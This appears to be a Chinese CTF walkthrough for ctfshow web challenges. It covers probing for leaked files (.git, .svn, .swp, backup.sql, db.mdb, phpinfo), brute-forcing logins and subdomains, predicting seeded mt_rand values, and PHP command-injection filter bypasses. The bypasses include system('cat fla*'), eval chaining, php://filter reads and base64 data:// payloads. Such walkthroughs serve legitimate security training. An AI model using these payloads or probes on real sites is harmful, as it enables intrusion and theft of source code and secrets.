目录
信息收集
第三题
根据提示直接bp抓包。
发送到repeater查看响应包。
得flag。
第四题
总有人把后台地址写入robots,帮黑阔大佬们引路。
robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不能被搜索引擎的漫游器获取的,哪些是可以被(漫游器)获取的。 因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
在后面加入robots.txt ,得到/flagishere.txt。
将其加入到原来的地址后面,得flag。
第五题
phps源码泄露有时候能帮上忙
根据提示,访问/index.phps,查看源码。
即可得到flag 。
第六题
解压源码到当前目录,测试正常,收工
根据提示解压源码,在后面加入www.zip,下载得到
则需在原地址后面加入fl000g.txt
即可得到flag
第七题
版本控制很重要,但不要部署到生产环境更重要。
在地址后面加上/.git
得到flag
第八题
版本控制很重要,但不要部署到生产环境更重要。
在地址后面加上/.svn
得到flag
版本控制器,不是git泄露就是svn泄露。
git与svn的区别(git与svn是常用的版本控制工具):
1.git是分布式的,svn是集中式的
2.git将每个历史版本都存储完整的文件,svn只是存储差异的文件,历史版本不可恢复
3.git可以离线完成大部分的操作,svn不可以离线操作
4.git可以实现分支合并
5.git可以修改和撤销修改历史版本
6.git速度快,效率高
7.git有本地仓库
8.git以元数据方式存储,svn以原始文件存储
第九题
当非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容
例如,第一次产生的交换文件名为“.index.php.swp”;再次意外退出后,将会产生名为“.index.php.swo”的交换文件;而第三次产生的交换文件则为“.index.php.swn”;依此类推。
故在地址后面加上/index.php.swp
第十题
cookie 只是一块饼干,不能存放任何隐私数据
根据提示知道flag在cookie里面,打开cookie
得到flag
第十一题
域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
根据提示打开他给的网址https://zijian.aliyun.com/,直接在里面搜索ctfshow.com得到flag
第十二题
有时候网站上的公开信息,就是管理员常用密码
猜测Help Line Number : 372619038是密码,地址后面加上/admin访问后台,猜测admin就是用户名,然后输入密码
得到flag
第十三题
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
通过提示,在网页底部找到了document,将其打开在最后得到密码与地址
根据提示在原地址后面加入/system1103/login.php
填写相应的用户名和密码
得到flag
第十四题
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
根据提示,在地址后面加上/editor
点击上传文件
点击文件空间
在路径var/www/html/nothinghere/fl000g.txt中找到fl000g.txt,
访问此文件url/nothinghere/fl000g.txt
得到flag
第十五题
公开的信息比如邮箱,可能造成信息泄露,产生严重后。
地址后面加上/admin
随便输入用户名密码会显示用户名错误,直到填入admin,显示密码错误。
点击忘记密码
根据页面底部的QQ邮箱中的QQ去查找位置
猜测地址为西安,填入
再用此密码登录
得到flag
第十六题
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
根据提示找探针,访问 url/tz.php ,进入到一个探针界面。
并发现PHPINFO可以点击
用快捷键ctrl+f查找flag关键词
得到flag
第十七题
备份的sql文件会泄露敏感信息
根据提示,在地址后面加上/backup.sql
得到flag
第十八题
不要着急,休息,休息一会儿,玩101分给你flag
F12查看源码
发现有个js地址
在地址后面加上/js/Flappy_js.js,
看到页面有一串 Unicode 编码,将其转中文
根据提示访问/110.php
得到flag
第十九题
密钥什么的,就不要放在前端了
根据提示,按F12查看
直接输入显示错误,通过hackbar进行post data提交
得到flag
第二十题
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
早期 asp+access 架构的数据库文件为db.mdb ,所以访问/db/db.mdb下载一个文件。
ctrl+f查找flag关键词
得到flag
爆破
第二十一题
爆破什么的,都是基操
随便输入,抓包
会发现一个base64编码,解码发现它的形式为 (admin:密码)
则
爆破得flag
第二十二题
域名也可以爆破的,试试爆破这个ctf.show的子域名
逐个尝试
得到flag
第二十三题
还爆破?这么多代码,告辞!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
使用了md5加密,可写php脚本
<?php
$token='123';
while(true){
$t=$token;
$token=md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo "over!"."<br>";
echo $t;
break;
}
}
}
highlight_file(__FILE__);
?>
得到c3d050f04e1a0b88b561182c9236833f
得到flag
第二十四题
爆个🔨
这是一个伪随机数,这里使用了mt_srand(seed)
函数设定了一个seed
种子,有了种子之后,靠mt_rand()
生成随机数。但是从php 4.2.0
版本开始,随机数生成器自动播种,因此没有必要使用该函数播种,并且如果设置了seed
参数,那么生成的随机数就是伪随机数,意思就是每次生成的随机数是一样的。
<?php
mt_srand(372619038);
echo (mt_rand());
?>
生成的是1155388967,因此给r赋此值得到flag。
第二十六题
这个可以爆
得到flag
第二十八题
大海捞针
爆破目录
得到flag
命令执行
第二十九题
命令执行,需要严格的过滤
过滤了flag,利用通配符
?c=system('cat fla*');
得到flag
第三十题
这里是将system和flag过滤了
用反引号绕过?c=echo `cat fla*`;
得到flag
第三十一题
给c传一个eval($_GET[a])进去,再给a出入代码,执行。
?c=eval($_GET[a]);&a=system('cat flag.php');
得到flag
第三十二题
过滤了括号,用include进行无括号包含
c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
第三十三题
过滤了单双引号,直接用数组作为参数即可绕过
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
第三十四题
过滤了分号,同上
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 得到flag
第三十五题
过滤了<,同上
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
第三十六题
过滤了数字,将数字改为字符即可,如ctf
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
第三十七题
过滤了flag ,又是 include 文件包含
利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
flag.php 可以用通配符绕过
?c=data://text/plain,<?php system('cat fla?.php');?>得到flag
第三十八题
过滤了php,用base64编码绕过即可
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
得到flag
第三十九题
这里php代码已经闭合,.php
就起不到执行的效果
?c=data://text/plain,<?=system('cat fla?.php')?>
得到flag